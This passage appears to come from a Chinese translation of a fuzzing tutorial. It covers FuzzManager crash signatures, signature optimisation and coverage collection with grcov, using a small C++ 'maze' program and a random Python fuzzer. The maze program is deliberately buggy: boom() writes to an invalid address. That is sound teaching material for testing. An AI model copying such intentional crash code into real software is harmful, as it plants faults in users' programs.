ivSfW8+6PjOWAqn9SX/YKCfLspxnJYUWSAcr3VOBeZYV6bWQZzgFe54CyZ5G77OKBtfrry4vcpUpwQXSwGDguTWTVxZH3d7xqmYZr0+LPok8emj919dkvD7dbOl6ru82WoFkm//h+Ygjryxr+LlBi3cH9vG/P7og4/Wp6XGvs8z5+keuAslX0yLj9Sl1e2XM+1hwOjC93KHzjc90jJGutXefPgPpw5P1Me9XaIFkryO/pD7i8vZzrIKvW7u8ilQgBV+P9vujbWOs3xkAAACA6CiQAAAAgGdgTwMXt6JYa768qsMXGnX4QqNyj9eNOoXdf2wq16RMnw5faNSlO49lWWMrkCzLUtyK4qfPeanTwcp7mr3lrDOVV2iB9MqyImV8Vq3iKy3OM2RCRy8Fe54Cqbm9V3ErijV5ZbEOVt5T6bUHTpHy/ldXneWCCyTLGp7iblpWmfIKb+jTM3f1lz2XtezgFWeZ3645Gdj3o9d1vKpZ67++przCG7IsSzX32p8WM+dUfbc97LlPsQoukAaHLP3n1rP6rKJB1Q3t+qLyniavLHGm6Ms7cUPLD17R6ettOnfzoZY8PYZNJwJTrm399qaM16ekTeU6XtWs5QevOKOU/hxUzNijbGZvrtCnZ+7qb0W3NP/D89pXfleWZSmt4LK2fntTl+481rc1LZq1IVAUVt+NPAJuNJGutV7/oFPytT/pj2m/QgukB519mpQZmDZu4a6LOnyhUVlHrytl61mn2Ju8skSTV5bo60tN2l58S1PXlboKpDN1bfqfjy/qRHWzqu+2O883St5yNqZtjPadAQAAAIgdBRIAAADwjHaV3tbklSVhz2IJfW6L8fq0dP9wgXSiulmvrRr+XJ9/ULtKb49aIO0IKpBOVDc7N/jtba48VOsqkNIKLusP60u1YOcF1/6lFVzW4FD044pfNXqBlFZwOeo0eLWNHfr9+lLXNr0HalzbDC2QBgaHlPF0dEmwd/ZUOcvUt3Y7z+sJPhb7/dSg5wT9z8cXn+k7fXOHu0BKeFpa2aZnlznPOdrwTZ3z/CP7Owje7uCQpQU7L+iVZUXOMvPyz+tf3j/lKpBaO3r1p80Vru1MygxMH2dZlv5rR6Xrvd+uOam8Ezee67qNdK3ZI5vsUV6j7ddXF+8HCqTaVmcd5+sf6XdrT4X9HuqaAwXS7rI7rt/MrA1ntOiTS/qX94cLJHuaO3uqvqSN5Wpu741pG6N9ZwAAAABiR4EEAAAAPKc+/6CqG9p1+0F3xCntornZ0qXWjt7n2nZze69TGI3EPzCk2sYODQwO/WznpbPXH3VKudACKdjtB9262dIV9Rk/Pf0Dut7UGbEE6+4b0JV743ucDzr7VHW3PeL+DA4FCrOGh9G/g8GhwHOe/AMj75N/YEhX73eq4WFP2LH19A+o+m678wypn9NI+zXSd3/lXkfU6/tmS1fYs7mC3W17otrGjmfexkjfGQAAAIDYUCABAAAA+Nm9urxIszdXTPh+AAAAAAAio0ACAAAA8LN5c0elZuYGnuGTX1I/4fsDAAAAAIiMAgkAAADAz+ZPmyuUmF2mDd/UqZfpxQAAAADgF4sCCQAAAAAAAAAAAC4USAAAAAAAAAAAAHChQAIAAAAAAAAAAIALBRIAAAAAAAAAAABcKJAAAAAAAAAAAADgQoEEAAAAvET8fr/8fv+E74dlWRoaGlJvb6+GhoYivj84ODji+79m/oHhYxocstTZ61dnr18Dg0PO+/ZrE72vE3luAAAAAPxyUSABAAAA48zv96uwsNBRVlam+vr6n2Xb6enpmjFjxoSfA8uy1NDQIGOMiouLI75/7tw5GWNUU1Mzrts9XtWs/JJ65ZfU66uL98Pe7/MPOu/nl9Sr5l77uG5/Zu4ZGa9PGfuqZVmWrtzrkPH6ZLw+ZR29LsuylH3suvNadcPzb/98/SNlH7uujM+qlXfihqruju8xvahzAwAAAOCXiwIJAAAAGGcdHR0yxoSZP3++bt++/UK3nZ6ersTExAk/B5Y1XCAVFhZGfP9FFUivZ5c55Yzx+tTrH3S9/1lFg+v9tV9dHdftv7KsSMbr0x83nJFlvfgCacHOC67jsf15e+WEXwOjnRvLstTc3qtFH1/UjuJbE75/AAAAAIZRIAEAAADjzC6QCgoKZFmWHj9+rGPHjskYo5SUlBe6bQqk8ALps4oG1/spW8++0AKpvK5NWUevq+FhjyzrxRZIX19qch3L1HWlTkmz5dubE34NjHZuLMvSqsO1Ml6fkjaWT/j+AQAAABhGgQQAAACMs9ACyZaeni5jjNrbA4VBVlaWGhoaVFlZqRUrVmjJkiXOsn19fSooKFBGRobee+897d+/XwMDA671+f1+7dmzR+np6Vq5cqXKy8vDCqTCwkLl5+eH7ePOnTvl8/lcr1VVVSknJ0eLFy9WZmamTp486bzX09OjXbt2KT09XStWrFBFRUXYOmtra7V+/XqlpaUpPz9ftbW1MRVIly9f1scff6yMjAytX79eVVVVsqzAM5JycnIiToF36NAhbdu2LeJ6QwukuX8bHokzMDikSZm+EQukrKPX9Xp2mSavLNbM3DNa/eVV13N7/rjhjKZnl4VZ82VgPbO3nNX07DJ5DwSKsVgLpNaOXn14sl7z8s/rN6tL9NqqEqUVXNa5mw+jXmvvff6ds56Ltx87rxdfaXGNvKpuaFfylrN6bVVgvclbzqq2scO1rkfd/Vr0ySX9fn2pJq8sVtLGcq04dEWdvX4VnL7jHGdrR6/zmdmbKzQ9u0zLD16RZVlqeNij6dllStpUrp7+AS36+KJeW1Wi/91bFfHcfH2pySm8JmX6nG3kHq9z/veZujZne8ermp3Xv6i8N+G/dQAAAOBl9v8B8Y0um381TBwAAAAASUVORK5CYII=
+)
+
+像上次一样，选择第一个崩溃并为其创建存储桶。 保存后，您会注意到并不是所有的崩溃都进入了存储桶。 原因是我们的程序创建了几个不同的堆栈，这些堆栈有些相似但并不完全相同。 当模糊实际应用程序时，这是一个常见问题。
+
+幸运的是，有一种简单的方法可以解决此问题。 在存储桶页面上，点击存储桶的*优化*按钮。 然后FuzzManager将自动建议您更改签名。 依次点击`Edit with Changes`和`Save`接受更改。 重复这些步骤，直到所有崩溃都属于存储桶。 经过3到4次迭代，您的签名可能看起来像这样：
+
+```py
+{
+  "symptoms": [
+    {
+      "type": "output",
+      "src": "stderr",
+      "value": "/ERROR: AddressSanitizer: heap-buffer-overflow/"
+    },
+    {
+      "type": "stackFrames",
+      "functionNames": [
+        "?",
+        "?",
+        "?",
+        "validateAndPerformAction",
+        "main",
+        "__libc_start_main",
+        "_start"
+      ]
+    },
+    {
+      "type": "crashAddress",
+      "address": "> 0xFF"
+    }
+  ]
+}
+
+```
+
+如您在`stackFrames`签名症状中看到的那样，`validateAndPerformAction`函数仍然存在于堆栈帧中，因为该函数在所有崩溃中的所有堆栈跟踪中都是通用的。 实际上，这就是bug所在的地方。 但是较低的堆栈部分已被概括为任意函数（`?`），因为它们在提交的崩溃集合中有所不同。
+
+`Optimize`功能旨在使此过程尽可能自动化：它尝试通过使签名适合未发生的崩溃来扩展签名，然后检查修改后的签名是否会触及其他现有存储桶。 这是在假设其他存储桶确实是其他错误的前提下进行的，即如果您首先从崩溃中创建了两个存储桶，则优化将不再起作用。 另外，如果现有存储桶数据稀疏并且您有很多未分类的崩溃，则该算法可能会提出更改，其中包括同一存储桶中不同错误的崩溃。 无法完全自动检测和阻止这种情况，因此该过程是半自动的，需要您检查所有建议的更改。
+
+## 收集代码覆盖率
+
+在有关覆盖的[一章中，我们已经看到测量代码覆盖率如何对评估模糊器性能有好处。 代码覆盖范围中的漏洞可能会揭示特别难以到达的位置以及模糊器本身中的错误。 因为这是整个模糊测试操作的重要组成部分，所以FuzzManager支持可视化存储库的每个模糊代码*覆盖* –也就是说，我们可以交互*检查*模糊过程中覆盖了哪些代码，并且 不是。](Coverage.html)
+
+为了说明 *FuzzManager* 中的coverage收集和可视化，我们看一下另一个简单的C ++程序`maze`示例：
+
+```py
+print_file("simply-buggy/maze.cpp")
+
+```
+
+```py
+/*
+ * maze - A simple constant maze that crashes at some point.
+ *
+ * WARNING: This program neither makes sense nor should you code like it is
+ *          done in this program. It is purely for demo purposes and uses
+ *          bad and meaningless coding habits on purpose.
+ */
+
+#include <cstdlib>
+#include <iostream>
+
+int boom() {
+  int* p = (int*)0x1;
+  *p = 0xDEADBEEF;
+  return *p;
+}
+
+int main(int argc, char** argv) {
+  if (argc != 5) {
+    std::cerr << "All I'm asking for is four numbers..." << std::endl;
+    return 1;
+  }
+
+  int num1 = atoi(argv[1]);
+  if (num1 > 0) {
+    int num2 = atoi(argv[2]);
+    if (num1 > 2040109464) {
+      if (num2 < 0) {
+        std::cerr << "You found secret 1" << std::endl;
+        return 0;
+      }
+    } else {
+      if ((unsigned int)num2 == 3735928559) {
+        unsigned int num3 = atoi(argv[3]);
+        if (num3 == 3405695742) {
+          int num4 = atoi(argv[4]);
+          if (num4 == 1111638594) {
+            std::cerr << "You found secret 2" << std::endl;
+            boom();
+            return 0;
+          }
+        }
+      }
+    }
+  }
+
+  return 0;
+}
+
+```
+
+如您所见，该程序所做的全部工作就是从命令行读取一些数字，将它们与一些神奇的常数和任意条件进行比较，如果一切顺利，则可以找到程序中的两个秘密之一。 达到其中一个秘密也会触发失败。
+
+在开始使用此程序之前，我们将在覆盖范围内重新编译程序。 为了使用Clang或GCC发出代码覆盖，通常需要构建程序并将其与诸如`--coverage`之类的特殊`CFLAGS`链接。 在我们的情况下，Makefile为此执行以下操作：
+
+```py
+!(cd simply-buggy && make clean && make coverage)
+
+```
+
+```py
+rm -f ./maze ./out-of-bounds ./simple-crash
+clang++ -fsanitize=address -g --coverage -o maze maze.cpp
+clang++ -fsanitize=address -g --coverage -o out-of-bounds out-of-bounds.cpp
+clang++ -fsanitize=address -g --coverage -o simple-crash simple-crash.cpp
+
+```
+
+另外，如果要使用FuzzManager查看代码，则需要进行初始存储库设置（实质上是为服务器提供自己的 *git* 存储库工作副本，以从中获取源代码）。 通常，客户端和服务器在不同的机器上运行，因此这涉及检出服务器上的存储库并告诉它在哪里可以找到它（以及它使用的版本控制系统）：
+
+```py
+!git clone https://github.com/choller/simply-buggy $HOME/simply-buggy-server    
+
+```
+
+```py
+Cloning into '/Users/zeller/simply-buggy-server'...
+remote: Enumerating objects: 22, done.
+remote: Counting objects: 100% (22/22), done.
+remote: Compressing objects: 100% (16/16), done.
+remote: Total 22 (delta 9), reused 15 (delta 6), pack-reused 0
+Unpacking objects: 100% (22/22), done.
+
+```
+
+```py
+!python3 FuzzManager/server/manage.py setup_repository simply-buggy GITSourceCodeProvider $HOME/simply-buggy-server
+
+```
+
+```py
+Successfully created repository 'simply-buggy' with provider 'GITSourceCodeProvider' located at /Users/zeller/simply-buggy-server
+
+```
+
+现在，我们假设我们知道一些魔术常数（例如，在实践中，有时我们了解目标的一些知识，但可能会遗漏细节），并以此模糊程序：
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+import [subprocess](https://docs.python.org/3/library/subprocess.html)
+
+```
+
+```py
+random.seed(0)
+cmd = ["simply-buggy/maze"]
+
+constants = [3735928559, 1111638594]; 
+
+TRIALS = 1000
+
+for itnum in range(0, TRIALS):
+    current_cmd = []
+    current_cmd.extend(cmd)
+
+    for _ in range(0,4):
+        if random.randint(0, 9) < 3:
+            current_cmd.append(str(constants[random.randint(0, len(constants) - 1)]))
+        else:
+            current_cmd.append(str(random.randint(-2147483647, 2147483647)))
+
+    result = subprocess.run(current_cmd, stderr=subprocess.PIPE)
+    stderr = result.stderr.decode().splitlines()
+    crashed = False
+
+    if stderr and "secret" in stderr[0]:
+        print(stderr[0])
+
+    for line in stderr:
+        if "ERROR: AddressSanitizer" in line:
+            crashed = True
+            break
+
+    if crashed:
+        print("Found the bug!")
+        break
+
+print("Done!")
+
+```
+
+```py
+You found secret 1
+You found secret 1
+You found secret 1
+You found secret 1
+You found secret 1
+Done!
+
+```
+
+如您所见，在运行1000次后，我们几次发现了秘密1，但是秘密2（以及崩溃）仍然缺失。 为了确定如何改善此情况，我们现在来看*覆盖率数据。*
+
+我们使用Mozilla的`grcov`工具捕获图形覆盖信息。
+
+```py
+!export PATH=$HOME/.cargo/bin:$PATH; grcov simply-buggy/ -t coveralls+ --commit-sha $(cd simply-buggy && git rev-parse HEAD) --token NONE -p `pwd`/simply-buggy/ > coverage.json
+
+```
+
+```py
+!python3 -mCovReporter --repository simply-buggy --description "Test1" --submit coverage.json
+
+```
+
+现在，我们可以转到 [FuzzManager覆盖页面](http://127.0.0.1:8000/covmanager/)来查看我们的源代码及其覆盖范围。
+
+```py
+gui_driver.get(fuzzmanager_url + "/covmanager")
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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